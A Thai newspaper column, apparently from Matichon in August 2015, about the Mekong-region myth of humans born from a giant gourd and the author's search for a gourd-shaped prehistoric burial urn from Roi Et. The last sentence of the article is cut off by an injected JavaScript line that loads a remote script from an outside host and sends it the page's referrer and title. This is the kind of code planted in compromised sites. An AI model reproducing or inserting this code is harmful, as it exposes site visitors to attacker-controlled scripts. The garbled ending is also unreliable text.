มติชนรายวัน ฉบับประจำวันอังคารที่ 4 สิงหาคม 2558

 

น้ำเต้า กำเนิดมนุษย์

          น้ำเต้า เป็นพืชศักดิ์สิทธิ์ของคนเกือบทั้งโลก (หรือทั้งโลกก็ไม่รู้?)

          โดยเฉพาะคนสุวรรณภูมิลุ่มน้ำโขง เชื่อว่ามนุษย์ 5 พี่น้อง เกิดจากน้ำเต้าปุง (คือ น้ำเต้าใหญ่หลวง) เช่น กลุ่มพูดภาษาตระกูลมอญ-เขมร, ไทย-ลาว, เวียดนาม, ฯลฯ

          คำบอกเล่านี้น่าจะจดเป็นลายลักษณ์อักษรราวยุคอยุธยา จึงมีอยู่ในพงศาวดารล้านช้าง (ในลาว) และเล่าความเมืองของไทดำ (ในเวียดนาม)

 

ตามล่าหาน้ำเต้าดินเผา

          หนังสือเล่มโตชื่อศิลปวัฒนธรรมไทย ของกระทรวงวัฒนธรรม พิมพ์ครั้งแรก พ.ศ. 2552 ผมไม่เคยเห็นมาก่อน

          แต่เพิ่งเห็นโดยบังเอิญฉบับพิมพ์ครั้งที่สอง พ.ศ. 2557 ในร้านหนังสือพิพิธภัณฑสถานแห่งชาติ พระนคร เมื่อต้นเดือนกรกฎาคม ที่ผ่านมา แต่ราคาแพงมาก ไม่มีเงินซื้อ

          ยืนเปิดหนังสือดูเล่นๆเห็นรูปประกอบ หน้า 44 แล้วตื่นเต้น เพราะเป็นรูปภาชนะดินเผาฯเหมือนลูกน้ำเต้า ซึ่งผมมีประสบการณ์น้อยอย่างยิ่ง จึงไม่เคยเห็นอย่างนี้มาก่อน โดยมีคำอธิบายพิมพ์ใต้ภาพว่า

          “ภาชนะดินเผาบรรจุกระดูกมนุษย์สมัยก่อนประวัติศาสตร์ พบที่แหล่งโบราณคดีในเขตทุ่งกุลาร้องไห้ จังหวัดร้อยเอ็ด”

          ขอแรงท่านเอนก สีหามาตย์ (อดีตอธิบดีกรมศิลปากร) ช่วยสอบหาว่าภาชนะใบนี้เก็บไว้ที่พิพิธภัณฑ์ร้อยเอ็ด หรือไว้ที่ไหน? แต่ไม่ได้ผล ไม่มีใครรู้เรื่องนี้ ไม่มีคำตอบ

          เห็นชื่อท่านวัฒนะ บุญจับ (สำนักวรรณกรรมและประวัติศาสตร์ กรมศิลปากร) เป็นคณะบรรณาธิการทำหนังสือเล่มนี้ เลยติดต่อขอแรงตรวจสอบว่ารูปภาชนะใบนี้มาจากไหน? แล้วภาชนะอยู่ที่ไหน?

          ท่านวัฒนะ ประสานไปถึงท่านวีระ โรจน์พจนรัตน์ (รัฐมนตรีกระทรวงวัฒนธรรม) ได้กรุณาให้หนังสือศิลปวัฒนธรรมไทย 1 เล่ม แล้วตรวจสอบจนรู้ว่าผู้ทำต้นฉบับเรื่องนี้และรูปภาชนะ คือ นางสาวเมธินี จิระวัฒนา (สำนักโบราณคดี กรมศิลปากร)

          ผมหมดแรงจะตามต่อไปแล้ว ต้องขอแรงคุณสุที หริมเทพาธิป (แห่งโรงพิมพ์เรือนแก้ว เรียนจบทางโบราณคดี เคยประจำกองบรรณาธิการนิตยสารศิลปวัฒนธรรม) ช่วยตามหาข้อมูลทางโบราณคดี จึงได้รายละเอียดมากจากการสอบถามผู้เกี่ยวข้องโดยตรง

          จากนั้นผมขอมาสรุปสั้นที่สุดเป็นข้อความใต้ภาพ ดังนี้

namtao4-08-58 2

วรรณกรรมก่อนยุคสุโขทัย

          ถ้าภาชนะดินเผาใบนี้มีต้นแบบจากน้ำเต้าจริงๆ ย่อมเป็นหลักฐานสำคัญว่า

          เรื่องมนุษย์มีกำเนิดจากน้ำเต้าปุง เป็นคำบอกเล่าตามความเชื่อของคนไม่น้อยกว่า 2,500 ปีมาแล้ว

          เก่าแก่พอๆกับเรื่องอื่นๆ เช่น หมาเก้าหาง, คันคาก (คางคก), ฯลฯ ซึ่งล้วนเป็นวรรณกรรมปากเปล่าที่มีพลังสูงมากและสวยงามมากตั้งแต่ยุคเริ่มแรก ยังไม่มีตัวอักษร

          แต่วงวิชาการวรรณกรรมไทยตัดทิ้งไป เพราะไม่ไทย เนื่องจากไม่อัลไต และไม่สุโขทัย (ราชธานีแห่งแรก)s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;